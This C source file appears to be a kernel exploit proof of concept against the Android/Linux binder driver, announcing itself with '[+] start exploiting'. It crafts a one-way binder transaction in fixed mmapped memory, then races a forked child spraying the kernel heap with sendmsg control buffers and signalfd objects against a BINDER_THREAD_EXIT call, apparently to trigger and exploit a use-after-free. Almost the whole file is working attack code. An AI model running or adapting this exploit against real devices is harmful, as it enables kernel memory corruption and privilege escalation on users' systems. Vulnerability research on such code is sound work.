#include "exp.h"

static inline void init_binder_transaction(int nb){

     for(int  i = 0 ; i < nb ; ++i){
          struct flat_binder_object * fbo = (struct flat_binder_object *)((void *) (MEM_ADDR + 0x400LL + i*sizeof(*fbo)));
          fbo->hdr.type = BINDER_TYPE_BINDER;
          fbo->binder = i;
          fbo->cookie = i;
          uint64_t * offset = (uint64_t) ((void *) (MEM_ADDR + OFFSETS_START + 8LL *i));
          *offset = i * sizeof(*fbo);
     }


     struct binder_transaction_data btd2 = {
          .flags = TF_ONE_WAY,
          .data_size = 0x28 * nb,
          .offsets_size = 8 * nb,
          .data.ptr.buffer = MEM_ADDR + 0x400,
          .data.ptr.offsets = MEM_ADDR + OFFSETS_START,

     };

     uint64_t txn_size = sizeof(uint32_t) + sizeof(btd2);   

     *(uint32_t *)(MEM_ADDR + 0x200) = BC_TRANSACTION;
     memcpy((void *)(MEM_ADDR +0x204),&btd2,sizeof(btd2));
     
     struct binder_write_read bwr = {
          .write_buffer = MEM_ADDR + 0x200,
          .write_size = txn_size
     };
     memcpy((void *)(MEM_ADDR + 0x100),&bwr,sizeof(bwr));
}


void trigger_and_spray(){
     int ret;
      int delay;
     int msg_buf[SENDMSG_SIZE / sizeof(int)];
     int ctl_buf[SENDMSG_CONTROL_SIZE / sizeof(int)];
     struct msghdr spray_msg;
     struct iovec siov;
     uint64_t sigset_value;
     int sock_fds[2];
     if(socketpair(AF_UNIX,SOCK_STREAM,0,sock_fds) == -1)
    {
        // printf("[-]can not create socketpair\n");
         exit(EXIT_FAILURE);
    }else{
        //printf("[+] created socketpair successfully\n");
    }

     memset(&spray_msg,0,sizeof(spray_msg));
     ctl_buf[0] = SENDMSG_CONTROL_SIZE - WORK_STRUCT_OFFSET;
     ctl_buf[6] = 0xdeadbeef;
     siov.iov_base = msg_buf;
     siov.iov_len = SENDMSG_SIZE;
     spray_msg.msg_iov = &siov;
     spray_msg.msg_iovlen = 1;
     spray_msg.msg_control = ctl_buf;
     spray_msg.msg_controllen = SENDMSG_CONTROL_SIZE - WORK_STRUCT_OFFSET;

     mmap((void*)MEM_ADDR,MEM_SIZE,PROT_WRITE | PROT_READ,MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,-1,0);

     srand(time(0));

     setvbuf(stdout,NULL,_IONBF,0);
     setvbuf(stderr,NULL,_IONBF,0);

     init_binder_transaction(1);

     int binder_fd = open("/dev/binder",O_RDWR);
     if(binder_fd < 0){
         printf("[-] can not open /dev/binder\n");
         exit(EXIT_FAILURE);
     }
   ret = ioctl(binder_fd,BINDER_WRITE_READ,MEM_ADDR + 0x100);
 if (ret != 0)
  printf("BINDER_WRITE_READ did not work: %d\n",ret);
    
 pid_t child = fork();
 if( child == 0 ){
     
   delay = rand() % SPRAY_DELAY;
          for(int i = 0 ; i < delay ; i++){}

          for(uint64_t i = 0 ; i < NB_SIGNALFDS ; i++){
               sigset_value = ~0;
               sendmsg(sock_fds[0],&spray_msg,MSG_OOB);
                ret= signalfd(-1,(sigset_t*)&sigset_value,0);
               if(ret<= 0)
                  printf("Could not open signalfd - %d (%s)\n",ret,strerror(errno));
          }

 }
    
  
   //usleep(200);
    ret = ioctl(binder_fd,BINDER_THREAD_EXIT,0);
    if(ret !=0)
        printf("BINDER_WRITE_EXIT did no work: %d\n",ret);
     
   usleep(5000);
 close(binder_fd);





}

int main(){
     printf("[+] start exploiting\n");
     trigger_and_spray();
}


